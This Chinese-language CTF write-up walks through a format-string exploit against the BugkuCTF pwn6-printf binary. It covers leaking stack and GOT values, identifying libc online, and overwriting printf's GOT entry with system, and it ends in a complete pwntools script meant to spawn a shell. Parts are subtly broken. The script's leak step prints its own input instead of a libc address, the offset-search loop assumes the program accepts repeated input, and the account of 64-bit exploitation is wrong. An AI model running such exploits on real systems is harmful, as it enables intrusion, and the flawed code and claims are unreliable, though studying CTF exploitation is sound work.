1. 项目概述:从一道CTF题看格式化字符串漏洞的攻防本质
最近在带新人入门二进制安全,发现很多朋友在接触PWN题,尤其是涉及格式化字符串漏洞的题目时,总是感觉“原理懂了,但一上手就懵”。正好,BugkuCTF里那道经典的pwn6-printf就是一个绝佳的教学案例。这道题的精妙之处在于,它没有直接提供目标系统的Libc库文件,这恰恰是现实渗透测试和CTF比赛中更常见的情况——你面对的是一个“黑盒”或信息有限的二进制程序。这道题不仅考察了对printf格式化字符串漏洞的利用,更考验了选手在信息不全时,如何通过漏洞本身来“创造”信息,最终达成攻击目标,比如获取shell。今天,我就结合这道题,把格式化字符串漏洞从原理到利用,再到无libc情况下的应对策略,掰开揉碎了讲清楚。无论你是刚摸到PWN门槛的新手,还是想巩固一下基础的老兵,相信这篇超详细的复盘都能让你有所收获。
2. 核心漏洞原理:为什么printf会成为安全漏洞?
在深入题目之前,我们必须把根基打牢。printf这个C语言里最常用的输出函数,怎么会成为漏洞呢?问题就出在它的“格式化”功能上。
2.1 格式化字符串函数的工作原理
printf函数的原型是int printf(const char *format, ...);。第一个参数format是格式化字符串,后面是可变数量的参数。函数的工作方式是解析format字符串,当遇到像%d、%s、%x这样的格式化占位符时,它就按照调用约定,去栈上(32位)或寄存器(64位)的相应位置取出参数,并按照指定格式输出。
这里的关键在于信任机制。printf函数完全信任程序员提供的format字符串是“正确”的,即占位符的数量和后面提供的可变参数数量、类型是匹配的。它不会,也没有能力去验证这一点。
2.2 漏洞的诞生:当程序员把用户输入当作格式化字符串
漏洞产生的典型代码如下:
char buf[100]; fgets(buf, sizeof(buf), stdin); // 用户可控输入 printf(buf); // 危险!直接将用户输入作为格式化字符串如果用户输入的不是普通的字符串,而是包含了%x、%p、%s、%n等格式化占位符,那么printf就会忠实地执行它的职责:去栈上寻找对应的“参数”并输出。但问题是,程序员并没有在printf(buf)后面提供任何可变参数。那么printf会取到什么作为“参数”呢?它会取到调用printf函数时,栈上(或寄存器中)原本就存在的一些数据。这些数据可能是返回地址、栈帧指针、甚至是栈上其他局部变量的值。
举个例子:如果用户输入%p.%p.%p,printf就会把栈上最顶层的三个数据(在32位下,通常是保存的寄存器值和返回地址附近的数据)以指针形式打印出来。这就实现了内存信息泄露。
2.3 关键格式化符:不仅仅是泄露,更是改写
格式化字符串漏洞的强大,远不止于泄露信息。几个特殊的格式化符赋予了它强大的攻击能力:
%n:攻击的灵魂。这个很少被正常使用的格式化符,作用是将其之前成功输出的字符总数,写入一个指针参数所指向的内存地址。例如printf("12345%n", &count);执行后,count的值会被赋为5。在漏洞利用中,我们可以通过精心构造的payload,让这个指针指向我们想要修改的关键内存地址(如GOT表项),从而实现内存写。%x/%p:侦察兵。用于泄露栈内存内容,帮助我们构建内存布局的“地图”。%s:深度侦察。如果泄露出的某个值看起来像一个指针(比如指向.text段或libc),可以用%s尝试将其作为字符串指针读出,可能泄露代码或libc中的字符串,这对于无libc情况下的利用至关重要。- 长度控制符(如
%10c,%100x):用于精确控制%n写入的值。%10c会输出10个字符(填充空格),从而增加输出的字符总数。
理解了这些,你就明白了为什么一道名为pwn6-printf的题目会如此经典。它几乎涵盖了格式化字符串漏洞的所有核心考点。
3. 题目环境搭建与初步分析
面对任何PWN题,第一步永远是“认识你的对手”。我们假设你已经拿到了题目的二进制文件pwn6。
3.1 基础信息收集
使用file和checksec命令进行初步检查:
file pwn6 checksec --file=pwn6假设我们得到如下信息:
pwn6: ELF 32-bit LSB executable, Intel 80386。32位程序,这对利用方式有决定性影响。32位程序函数参数通过栈传递,这使我们的格式化字符串payload在栈上的布局更可控、更直观。checksec可能显示Partial RELRO甚至No RELRO,并且NX enabled(栈不可执行)。Partial RELRO意味着GOT表是可写的,这为我们通过修改GOT表来劫持程序流提供了可能。NX开启则意味着我们不能直接在栈上执行shellcode,必须转向如ROP或修改GOT表等技巧。
3.2 静态分析:寻找漏洞点
用IDA Pro或Ghidra打开二进制文件。快速浏览main函数或主要的输入函数。对于printf题目,关键代码模式非常固定:
// 伪代码 int main() { char buffer[100]; puts("Please input your message:"); fgets(buffer, 100, stdin); printf(buffer); // 漏洞点! return 0; }或者更“狡猾”一点的:
char buf[100]; read(0, buf, 100); printf(buf);找到这个printf(buffer),就找到了漏洞的入口。同时,要留意程序里有没有其他有用的函数,比如system或/bin/sh字符串。如果程序本身没有调用system,也没有/bin/sh,那么我们的目标通常就是泄露libc地址,计算system函数地址,然后修改某个函数的GOT表项为system地址,最后触发该函数调用(通常参数是/bin/sh)。
3.3 动态调试与栈帧布局探测
启动gdb ./pwn6,在printf调用处下断点。运行程序,并输入一串简单的探测字符串,例如AAAA%p.%p.%p.%p.%p.%p。
注意:在gdb环境中运行,栈的布局可能与直接运行程序(
./pwn6)有细微差别,主要是因为环境变量的差异。这可能导致payload在gdb里成功,在本地直接运行却失败。一个解决办法是**在gdb中使用unset env LINES和unset env COLUMNS**来清空影响栈布局的环境变量,或者更可靠的方法是,最终测试要在两种环境下都进行。
输入AAAA%p.%p.%p.%p.%p.%p后,程序可能会输出类似:AAAA0xff8e1f10.0x1.0xf7e1c5a0.0x41414141.0x252e7025.0x2e70252e这里的0x41414141就是AAAA的十六进制形式。它出现在第4个%p对应的位置。这说明,我们输入的字符串本身(从AAAA开始)在栈上第4个参数的位置被找到。这个偏移量(这里是4)是后续所有利用的基准。
实操心得:确定偏移量时,建议使用像
AAAA%4$p这样的payload。%4$p是格式化字符串的“直接参数访问”语法,意思是直接访问第4个参数。如果输出是0x41414141,那就确认了偏移是4。这样比数一堆%p更精确。
4. 无Libc下的利用策略:信息泄露的艺术
题目没有提供libc,这是最大的挑战,也是这道题的价值所在。我们不能直接计算system的地址。我们的策略分两步:先泄露,后计算。
4.1 泄露程序本身的地址与libc地址
我们的payload需要完成以下泄露:
- 泄露ELF基址:通过泄露某个指向程序
.text段或.got.plt段的指针。例如,栈上很可能存有main函数的返回地址(指向__libc_start_main里的某个位置)或某个GOT表项的地址。我们可以用%p或%s(如果该地址可读)来泄露。假设我们泄露到一个地址0x56555000,这很可能是程序的加载基址。 - 泄露libc中的地址:这是最关键的一步。我们需要泄露一个已经在GOT表中填写的libc函数地址,比如
printf、puts、fgets的GOT表项。因为程序已经执行过这些函数,它们的GOT表项里存放的就是该函数在libc中的真实地址。
如何找到这些地址?
- 在静态分析中,用IDA查看
.got.plt段,记下printf、puts等函数的GOT表地址,例如puts@got.plt = 0x56556018。 - 在动态调试中,通过多次尝试
%p泄露,结合vmmap命令查看内存映射,识别出哪些泄露值落在libc的地址范围内(通常是0xf7xxxxxx或0xf6xxxxxx)。
假设我们通过%5$p泄露到一个值0xf7e1c5a0,通过vmmap确认它位于libc段内,并且通过计算发现它和puts的GOT表项(0x56556018)在栈上的位置有关联,那么我们就得到了一个libc地址leak_libc_addr = 0xf7e1c5a0。
4.2 确定libc版本与计算偏移
现在我们有一个libc地址,但不知道它是哪个版本的libc。在CTF中,常用的libc版本有libc6-i386_2.23-0ubuntu11、libc6_2.27-3ubuntu1等,不同版本函数的偏移量不同。
我们有几种方法:
- 利用在线数据库(如libc.blukat.me, libc.rip):这是最快捷的方法。将泄露的地址的低12位(即最后3位十六进制数,如
0x5a0)或者函数相对于libc基址的偏移(如果你能猜出泄露的是哪个函数)提交到这些网站进行查询。网站会返回匹配的libc版本。 - 泄露多个函数地址:通过格式化字符串漏洞,尝试泄露
printf、fgets、system等多个函数的GOT地址。然后计算它们之间的差值。将这个差值与已知的libc版本函数偏移表进行比对,可以更准确地确定版本。 - 本地爆破:如果题目来自已知的比赛平台(如Bugku),其libc版本往往是固定的几个之一。可以下载常见的libc版本到本地,用
leak_addr - offset_of_function_in_libc计算出libc基址,然后验证其他函数的偏移是否匹配。
假设我们通过在线数据库确定libc版本是libc6-i386_2.23-0ubuntu11_amd64(注意,这是32位程序用的32位libc,但包名可能带amd64)。我们查得该版本libc中:
puts函数偏移:0x0005f140system函数偏移:0x0003a940str_bin_sh字符串偏移:0x15902b
那么,我们就可以进行计算:
- Libc基址
libc_base = leak_puts_addr - 0x5f140 system地址sys_addr = libc_base + 0x3a940/bin/sh地址binsh_addr = libc_base + 0x15902b
至此,我们完成了在无提供libc情况下的关键信息获取。
5. 利用漏洞实现任意地址写:修改GOT表
有了目标地址(system),我们接下来要做的就是将它写入到目标位置(例如printf的GOT表项)。这就要用到格式化字符串的%n家族。
5.1 单次写入与宽度控制
%n写入的是已输出字符数。如果我们想写入一个很大的地址值(如0xf7e1c940),直接输出这么多字符是不现实的。因此,我们利用%hhn或%hn进行分字节写入。
%hhn:写入1个字节(char)。%hn:写入2个字节(short)。%n:写入4个字节(int,32位下)。
我们的策略是将目标地址(如printf_got)拆分成4个字节(32位),然后利用%c或%x等格式化符控制输出的字符数量,使其等于我们想要写入的字节值,再用%hhn分别写入到printf_got、printf_got+1、printf_got+2、printf_got+3这四个地址。
这里有一个关键技巧:地址本身也作为字符串的一部分放在payload里,它们会占用栈空间,从而影响“已输出字符数”。因此,我们需要精心排列payload,并利用格式化字符串的“直接参数访问”(%k$n)来精确控制。
5.2 构造payload的通用方法
假设我们要将printf_got(地址0x56556010)处的值修改为sys_addr(0xf7e1c940)。我们需要写入的四个字节分别是:0x40(低字节),0xc9,0xe1,0xf7(高字节)。
一个典型的payload结构如下(偏移量假设为4):
[p32(printf_got)][p32(printf_got+1)][p32(printf_got+2)][p32(printf_got+3)]%[value1]c%4$hhn%[value2]c%5$hhn%[value3]c%6$hhn%[value4]c%7$hhn但这不对,因为%hhn写入的是累计输出字符数。我们需要按顺序写入,并且每次写入前,累计输出数正好等于要写的字节值。
更常用的方法是从小到大依次写入,并利用前一次写入后累计值的差来控制。我们可以将payload构造在栈的更高处(更大的偏移),以避免地址字符串本身被计入。
实际操作中,我们常使用pwntools的fmtstr_payload函数来自动化生成,但在理解原理时,手动构造一次大有裨益。
手动构造思路:
- 将四个目标地址(
printf_got,printf_got+1,printf_got+2,printf_got+3)依次放入payload开头。假设它们从栈上第4个参数开始存放。 - 假设我们要写入的值是
0x40,0xc9,0xe1,0xf7。 - 第一个
%hhn(对应printf_got)要写入0x40。目前累计输出字符数已经是4个地址的长度(4*4=16字节),即0x10。我们需要再输出0x40 - 0x10 = 0x30(48)个字符。所以第一部分是%48c%4$hhn。 - 第二个
%hhn(对应printf_got+1)要写入0xc9。当前的累计输出是0x40。需要再输出0xc9 - 0x40 = 0x89(137)个字符。所以接着是%137c%5$hhn。 - 依此类推。注意,如果后面的值小于前面的值,需要让计数“溢出”回绕(因为
%hhn只写一个字节,0x100的溢出相当于0),计算会复杂一些,这也是为什么通常选择按地址从低到高、写入值也从小到大的顺序。
注意事项:这种计算非常繁琐且容易出错,尤其是在地址对齐、字节序问题上。强烈建议在理解原理后,使用
pwntools的fmtstr_payload(offset, writes, numbwritten=0)函数来生成payload。其中writes是一个字典,如{printf_got: sys_addr},工具会自动处理所有分字节写入和宽度计算。
6. 完整利用链构建与Exploit编写
现在,我们将所有步骤串联起来,编写最终的利用脚本。这里使用Python的pwntools库。
from pwn import * context.arch = 'i386' # 32位程序 context.log_level = 'debug' # 1. 启动进程 p = process('./pwn6') # 本地 # p = remote('xxx.xxx.xxx.xxx', 端口) # 远程 # 2. 确定格式化字符串偏移 def find_offset(): for i in range(1, 20): payload = f'AAAA%{i}$p'.encode() p.sendline(payload) resp = p.recvline() if b'0x41414141' in resp: # 'AAAA'的十六进制 log.success(f'Found offset at: {i}') return i p.clean() # 清空缓冲区,准备下一次测试 log.error('Offset not found!') return None offset = find_offset() # 假设我们找到 offset = 4 # 3. 泄露关键地址 (这里以puts的GOT为例) puts_got = 0x56556018 # 从IDA中获取的puts@got.plt地址 payload = p32(puts_got) + f'%{offset}$s'.encode() # 注意:这里用%s,它会将对应参数视为指针,打印出该指针指向的字符串,直到NULL。 # 但puts@got里存放的是地址,这个地址指向libc中的代码,不是字符串,用%s可能会出错或截断。 # 更稳妥的方式是用%{offset}$p直接泄露该地址值本身。 payload2 = f'%{offset}$p'.encode() # 先发送这个payload,泄露栈上某个已知位置的libc地址 p.sendline(payload2) leak = p.recvline() leak_addr = int(leak.strip(), 16) # 假设泄露的是 puts 的GOT内容 log.info(f'Leaked address: {hex(leak_addr)}') # 4. 计算libc基址和system地址 (需要根据泄露的地址确定libc版本) # 假设我们通过泄露的地址和在线数据库,确定了libc版本和偏移 # 这里用假设的偏移量 libc_base = leak_addr - 0x5f140 # puts偏移 system_addr = libc_base + 0x3a940 binsh_addr = libc_base + 0x15902b log.success(f'Libc base: {hex(libc_base)}') log.success(f'system addr: {hex(system_addr)}') # 5. 构造格式化字符串payload,修改printf的GOT表项为system地址 printf_got = 0x56556010 # 从IDA获取 # 使用pwntools自动生成payload writes = {printf_got: system_addr} payload = fmtstr_payload(offset, writes, numbwritten=0) p.sendline(payload) # 6. 触发被修改的函数调用 # 修改printf的GOT后,下次调用printf时,实际会跳转到system。 # 我们需要让程序再次执行到printf,并且最好能控制其参数为/bin/sh。 # 观察程序逻辑,如果原程序是循环的,或者有第二次输入并调用printf,那最好。 # 如果没有,我们可能需要修改其他函数的GOT,比如strlen,并提前在内存中布置好/bin/sh。 # 假设程序在漏洞点之后,还会调用一次printf,我们可以提前输入/bin/sh。 p.sendline(b'/bin/sh\x00') # 7. 享受shell p.interactive()脚本要点解析:
find_offset函数:自动化定位我们的输入在栈上的起始位置。- 泄露地址时,优先使用
%{offset}$p直接泄露栈上数据,再用%{offset}$s尝试解析指针内容(需谨慎,可能崩溃)。 fmtstr_payload是神器,它自动处理了复杂的字节拆分、宽度计算和payload构建。- 最后一步“触发调用”需要根据具体程序逻辑调整。理想情况是程序本身会再次调用被我们修改的函数(如
printf),并且我们能控制其第一个参数(即格式化字符串,我们传入/bin/sh)。如果不行,可能需要构造更复杂的ROP链或修改其他函数。
7. 常见问题与高级技巧
在实际操作中,你肯定会遇到各种问题。这里总结几个高频问题和解决思路。
7.1 Payload发送后程序崩溃或无响应
- 原因1:地址不可写。检查目标地址(如GOT表地址)是否正确,以及程序的RELRO保护级别。如果是
Full RELRO,GOT表不可写,此路不通,需寻找其他可写且有函数指针的内存(如.fini_array,.dtors等,但现代编译默认不启用)。 - 原因2:偏移量计算错误。在gdb中和直接运行时的偏移量可能不同。确保测试环境一致,或使用
%p多次探测确认。 - 原因3:格式化字符串解析错误。payload中包含不可打印字符或截断字符(如
\x00)。printf遇到\x00会停止解析。确保地址放在payload前面,因为%n写入操作不依赖字符串终止。使用send而非sendline有时可以避免额外的\n。 - 原因4:写入值计算错误导致死循环或崩溃。特别是使用
%hhn写入时,如果计算的长度差为负数,printf的宽度参数会非常大,导致输出极多字符,程序卡死或缓冲区溢出。使用fmtstr_payload可避免此问题。
7.2 泄露的地址无法匹配libc数据库
- 原因1:泄露的不是函数指针。栈上泄露的可能只是随机数据。多尝试几个偏移,或者尝试用
%s去读(可能崩溃,但崩溃地址有时也能提供信息)。 - 原因2:地址随机化(ASLR)。每次运行libc基址都会变,但泄露的地址与libc基址的偏移是固定的。确保你计算的是偏移,而不是直接比对地址值。
- 原因3:libc数据库不完整。尝试使用多个数据库查询,或者使用
libc-database工具在本地生成所有常见版本的偏移信息进行匹配。
7.3 如何提高利用成功率与稳定性
- 多次泄露,交叉验证:不要只依赖一个泄露地址。尝试泄露
puts、printf、__libc_start_main等多个函数的地址,计算出的libc基址应该相同。 - 使用
%n而非%hn或%hhn:如果条件允许(目标地址值不太大),一次性写入4字节的%n更稳定,payload更短。 - 布置
/bin/sh字符串:如果程序没有现成的/bin/sh,可以利用格式化字符串的%s或%c配合,将字符串写入到某个已知的可写地址(如.bss段),然后将该地址作为参数传递给被劫持的函数。 - 一字节一字节写(
%hhn):虽然复杂,但最通用,可以写入任意地址值。pwntools的fmtstr_payload默认就采用这种方式。
7.4 64位与32位的差异
这道题是32位的,参数在栈上传递。如果是64位程序,前6个整数或指针参数通过寄存器RDI, RSI, RDX, RCX, R8, R9传递,之后的才通过栈传递。这意味着:
- 我们的格式化字符串本身(第一个参数)通过
RDI传递。 - 如果格式化字符串中有超过6个参数需要访问(比如
%7$p),才会去栈上找。 - 这使得64位下的格式化字符串漏洞利用更复杂,因为我们需要先“填满”前6个寄存器(通过pop gadget等)才能让
%n访问到栈上我们布置的地址。通常需要结合ROP链来利用,难度大增。
8. 总结与延伸思考
通过这道pwn6-printf,我们完成了一次完整的、无libc的格式化字符串漏洞利用。其核心思路可以概括为:利用漏洞进行信息泄露 -> 根据泄露信息推断或查询libc版本 -> 计算关键函数地址 -> 利用漏洞进行内存写 -> 劫持控制流。
这道题像一把钥匙,打开了格式化字符串漏洞利用的大门。但现实世界和更高级的CTF比赛中,情况会更复杂:
- Partial RELRO vs Full RELRO:我们依赖GOT可写。如果遇到Full RELRO,需要寻找其他可写且有函数指针的地方,或者转向栈溢出等其他漏洞。
- FORTIFY_SOURCE:这个编译选项会对
printf等函数进行加强检查,可能直接检测到格式化字符串来自非字面量而终止程序。 - 沙箱(Seccomp):程序可能限制了可以执行的系统调用,即使拿到shell也做不了什么。需要利用ORW(Open-Read-Write)等技巧来读取flag。
对于初学者,我的建议是:一定要亲手调试。不要满足于运行一个写好的exp脚本。用gdb跟踪printf执行时栈的变化,单步观察%n写入内存的过程,亲眼看到GOT表项被修改,感受控制流被劫持的瞬间。这个过程积累的直觉和经验,是任何教程都无法替代的。格式化字符串漏洞是PWN的基础,也是理解程序内存布局和运行机制的绝佳切入点,把它吃透,后续学习堆漏洞、内核漏洞都会顺畅很多。